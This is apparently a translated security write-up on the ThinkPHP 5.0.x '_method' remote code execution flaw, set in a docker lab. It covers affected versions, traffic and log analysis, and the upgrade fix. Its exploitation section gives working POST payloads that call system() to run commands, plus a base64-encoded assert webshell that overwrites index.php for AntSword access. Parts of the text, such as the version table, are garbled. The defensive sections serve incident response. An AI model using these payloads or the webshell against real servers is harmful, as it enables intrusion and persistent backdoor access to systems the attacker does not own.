Directory
I. Overview
2. Scope of influence and conditions of use
3. Exploitation
4. Emergency Analysis
5. Bug fixes
1. Overview
ThinkPHP is a widely used PHP development framework. In its version before 5.0.23, the method name was not correctly processed in the method of obtaining the method, so that the attacker could call any method of the Request class and construct an exploit chain, resulting in a remote code execution vulnerability.
The method method of the core class Requests in the implementation framework of the Thinphp team realizes the camouflage of the form request type. The default is the $_POST[‘_method’] variable, but there is no strict verification of the $_POST[‘_method’] attribute, which can be passed through the variable Overwrite the properties of the Requets class and combine the framework features to realize the call to any function to achieve the effect of arbitrary code execution.
2. Scope of influence and conditions of use
1 Scope
Affected versions: Think PHP 5.0.0-5.0.23
Unaffected version: Think PHP 5.0.24
2. Conditions of use
| version name | can be attacked | attack condition | |||
| 5.0. 0 | No | No | |||
| 5.0.1 | No | No | |||
| 5.0.2 | No | No | |||
| 5.0.3 | No | No | |||
| 5.0.4 | No | No | |||
| 5.0.5 | No | No | |||
| 5.0.6 | No | No | |||
| 5.0.7 | No | No | No | No | No |
| 5.0. td> | |||||
| 5.0.8 | Yes | No need to open debug | |||
| 5.0.9 | Yes | No need to open debug | |||
| 5.0.10 | Yes | No need to open debug | |||
| 5.0.11 | Yes | No need to open debug | |||
| 5.0.12 | Yes | No need to open debug | |||
| 5.0.13 | Yes | need to open debug | |||
| 5.0.14 | yes | need to open debug | |||
| 5.0.15 | Yes | need to enable debug | |||
| 5.0.16 | Yes | need to enable debug | |||
| 5.0.17 | yes | need to enable debug | |||
| 5.0.18 | Yes | need to enable debug | |||
| 5.0.19 | Yes | need to enable debug | |||
| 5.0.20 | No | No | |||
| 5.0.21 | Yes | need to enable debug | |||
| 5.0.22 | Yes | need to enable debug | |||
| 5.0.23 | Yes | need to open debug |
3. Exploitation
1. Vulnerability poc, construct a post package on the web page:
Utilization points: http://192.168.52.131:8080/index.php?s=captcha data part: _method=__construct & amp;filter[]=system & amp;method=get & amp;server[REQUEST_METHOD]=pwd or: _method=__construct & amp;filter[]=system & amp;method=get & amp;get[]=pwd
2. Use burpsuite to capture packets and analyze them successfully
3. How to getshell here?
(1) By overwriting the content of the index.php file (because there must be an index.php file here, but there is a risk that once it is overwritten, it cannot be exploited, which will cause the vulnerability to be unusable)
Because of filtering, here we use base64 encrypted data to write to the shell, and the eval function cannot be injected, here we choose the assert function.
#postdatadata _method=__construct & amp;filter[]=system & amp;method=get & amp;server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ2FkbWluJ10pOz8 + YmJi== | base64 -d > index.php
Use Ant Sword to connect to the shell, pay attention to choose char16 and base64
(2) Or choose to create a new file and write the content into the new file (recommended)
#POST data: _method=__construct & amp;filter[]=system & amp;method=get & amp;get[]=echo "<?php phpinfo(); >" > test.php
Fourth, emergency analysis
So, when we are under attack, what angles can we use to analyze whether we are under attack?
1. Analysis from the flow side
If traffic monitoring software exists, the entire attack process can be monitored and restored by analyzing traffic packets.
In the following data packet, it is found that the attacker first used ls to detect which files are in the root directory of the server. Since the return packet is transmitted in blocks, it does not look very friendly, but it can still be known that the exploit is successful
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.52.131:8080
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml + xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.9
Referer: http://192.168.52.131:8080/index.php?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
After detecting the files in the current directory, start viewing the current path
Next is an attempt to write to the phpinfo script file
Generally speaking, the attack path can be checked from the traffic side.
2. Analysis from the log side
If there are no other devices available, the log files of the web itself are an important basis for investigation.
Because I am here is a shooting range environment built by docker, so the corresponding log file is not saved. Normally, it is the access.log and /var/www/runtime/log/ files, which contain time, source IP, URL, request method (get, post, put, etc.), packet size, and status code.
5. Bug fixes
Upgrade to 5.0.24 and above without enabling debug mode.